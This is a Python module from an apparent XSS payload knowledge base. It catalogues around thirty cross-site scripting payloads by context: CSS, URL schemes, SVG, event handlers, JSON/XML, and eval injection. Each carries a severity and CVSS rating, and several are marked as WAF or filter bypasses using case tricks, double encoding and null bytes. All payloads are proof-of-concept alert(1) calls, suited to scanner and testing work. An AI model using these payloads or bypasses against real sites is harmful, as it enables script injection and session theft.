#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Context-Specific Attacks
"""

from ..models import PayloadEntry


CONTEXT_BASE_PAYLOADS = {
    # CSS Context XSS
    "css_expression": PayloadEntry(
        payload="expression(alert(1))",
        contexts=["css"],
        severity="high",
        cvss_score=7.5,
        description="CSS expression injection (legacy IE)",
        tags=["css", "expression", "legacy"],
        browser_support=["edge"],
        reliability="medium",
    ),
    "css_url_injection": PayloadEntry(
        payload="url('javascript:alert(1)')",
        contexts=["css", "url"],
        severity="high",
        cvss_score=7.5,
        description="CSS URL injection",
        tags=["css", "url", "background"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # URL Context XSS
    "url_javascript_protocol": PayloadEntry(
        payload="javascript:alert(1)",
        contexts=["url", "html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="JavaScript protocol injection",
        tags=["url", "javascript", "protocol"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "url_data_uri": PayloadEntry(
        payload="data:text/html,<script>alert(1)</script>",
        contexts=["url"],
        severity="high",
        cvss_score=7.5,
        description="Data URI injection",
        tags=["url", "data-uri", "html"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "url_vbscript": PayloadEntry(
        payload="vbscript:msgbox(1)",
        contexts=["url"],
        severity="medium",
        cvss_score=6.1,
        description="VBScript protocol injection",
        tags=["url", "vbscript", "legacy"],
        browser_support=["edge"],
        reliability="low",
    ),
    # Comment-based XSS
    "html_comment_xss": PayloadEntry(
        payload="<!-- <script>alert(1)</script> -->",
        contexts=["html_comment"],
        severity="medium",
        cvss_score=6.1,
        description="HTML comment XSS",
        tags=["comment", "hidden", "bypass"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # DOM XSS
    "dom_location_hash": PayloadEntry(
        payload="location.hash",
        contexts=["dom_xss"],
        severity="high",
        cvss_score=7.5,
        description="DOM XSS via location.hash",
        tags=["dom", "location", "hash"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dom_document_referrer": PayloadEntry(
        payload="document.referrer",
        contexts=["dom_xss"],
        severity="medium",
        cvss_score=6.1,
        description="DOM XSS via document.referrer",
        tags=["dom", "referrer", "header"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # WAF Bypass techniques
    "waf_case_variation": PayloadEntry(
        payload="<ScRiPt>alert(1)</ScRiPt>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="WAF bypass with case variation",
        tags=["waf-bypass", "case", "filter-evasion"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        waf_evasion=True,
    ),
    "waf_double_encoding": PayloadEntry(
        payload="%253Cscript%253Ealert(1)%253C/script%253E",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Double URL encoding bypass",
        tags=["waf-bypass", "encoding", "double"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        waf_evasion=True,
    ),
    "waf_null_byte": PayloadEntry(
        payload="<script>alert(1)</script>%00",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Null byte injection",
        tags=["waf-bypass", "null-byte", "termination"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        waf_evasion=True,
    ),
    # Advanced encoding bypasses
    "encoding_unicode": PayloadEntry(
        payload="\\u003cscript\\u003ealert(1)\\u003c/script\\u003e",
        contexts=["html_content", "javascript"],
        severity="medium",
        cvss_score=6.1,
        description="Unicode encoding bypass",
        tags=["encoding", "unicode", "bypass"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "encoding_hex": PayloadEntry(
        payload="\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
        contexts=["javascript"],
        severity="medium",
        cvss_score=6.1,
        description="Hex encoding bypass",
        tags=["encoding", "hex", "javascript"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # Modern web attacks
    "postmessage": PayloadEntry(
        payload='{"type": "message", "content": "<script>alert(1)</script>"}',
        contexts=["postmessage"],
        severity="high",
        cvss_score=7.5,
        description="PostMessage API XSS",
        tags=["postmessage", "cross-origin", "communication"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "wasm_xss": PayloadEntry(
        payload='(module (func $xss (export "xss") (call $alert)))',
        contexts=["wasm"],
        severity="medium",
        cvss_score=6.1,
        description="WebAssembly XSS",
        tags=["wasm", "binary", "low-level"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # SVG-specific attacks
    "svg_script_element": PayloadEntry(
        payload="<svg><script>alert(1)</script></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG with script element",
        tags=["svg", "script", "vector"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "svg_foreign_object": PayloadEntry(
        payload="<svg><foreignObject><script>alert(1)</script></foreignObject></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG foreign object XSS",
        tags=["svg", "foreign-object", "html"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # JSON context
    "json_value_xss": PayloadEntry(
        payload='{"user": "<script>alert(1)</script>"}',
        contexts=["json_value"],
        severity="medium",
        cvss_score=6.1,
        description="JSON value XSS",
        tags=["json", "data", "serialization"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # XML context
    "xml_content_xss": PayloadEntry(
        payload="<user><name><script>alert(1)</script></name></user>",
        contexts=["xml"],
        severity="high",
        cvss_score=7.5,
        description="XML content XSS",
        tags=["xml", "markup", "data"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # Markdown context
    "markdown_script": PayloadEntry(
        payload="<script>alert(1)</script>",
        contexts=["markdown"],
        severity="medium",
        cvss_score=6.1,
        description="Markdown script injection",
        tags=["markdown", "script", "formatting"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # Additional HTML attribute attacks
    "html_form_action": PayloadEntry(
        payload='<form action="javascript:alert(1)"><input type=submit></form>',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Form action XSS",
        tags=["form", "action", "submission"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_link_href": PayloadEntry(
        payload='<a href="javascript:alert(1)">Click me</a>',
        contexts=["html_attribute", "url"],
        severity="high",
        cvss_score=7.5,
        description="Link href XSS",
        tags=["link", "href", "navigation"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_style_background": PayloadEntry(
        payload="<div style=\"background:url('javascript:alert(1)')\"></div>",
        contexts=["html_attribute", "css"],
        severity="high",
        cvss_score=7.5,
        description="Style background XSS",
        tags=["style", "css", "background"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Event handler attacks
    "html_onclick": PayloadEntry(
        payload='<div onclick="alert(1)">Click me</div>',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="onclick event handler XSS",
        tags=["event", "onclick", "handler"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_onload": PayloadEntry(
        payload='<body onload="alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onload event handler XSS",
        tags=["event", "onload", "body"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Filter bypass techniques
    "filter_comment_bypass": PayloadEntry(
        payload="<!--><script>alert(1)</script>",
        contexts=["html_comment"],
        severity="high",
        cvss_score=7.5,
        description="Comment filter bypass",
        tags=["comment", "bypass", "filter-evasion"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        waf_evasion=True,
    ),
    "filter_newline_bypass": PayloadEntry(
        payload="<script>\nalert(1)\n</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Newline filter bypass",
        tags=["newline", "bypass", "formatting"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        waf_evasion=True,
    ),
    # Advanced JavaScript attacks
    "js_eval_injection": PayloadEntry(
        payload="'; eval('alert(1)'); '",
        contexts=["js_string"],
        severity="critical",
        cvss_score=8.8,
        description="JavaScript eval injection",
        tags=["eval", "code-execution", "dangerous"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
}
